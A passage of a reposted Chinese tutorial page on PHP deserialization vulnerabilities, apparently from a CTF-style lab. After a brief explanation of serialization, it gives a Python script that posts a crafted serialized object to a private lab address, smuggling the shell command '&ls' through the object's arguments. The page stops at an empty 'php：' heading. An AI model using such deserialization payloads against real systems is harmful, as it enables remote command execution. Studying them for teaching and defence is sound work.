PHP反序列化漏洞简介及相关技巧小结

发布时间：2019-08-12 15:30:31 所属栏目：策划来源：xiaopan233

导读：要学习PHP反序列漏洞，先了解下PHP序列化和反序列化是什么东西。 php程序为了保存和转储对象，提供了序列化的方法，php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串，但仅保留对象里的成员变量，不保留函数方法。

通过decode和encode来进行编码

import requests 
s = requests.session() 
url = "http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag" 
n = '00'.decode('hex') 
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}' 
r = requests.post(url,data={"come":o}) 
print(r.text)

php：

（编辑：辽源站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!

8/9

首页

尾页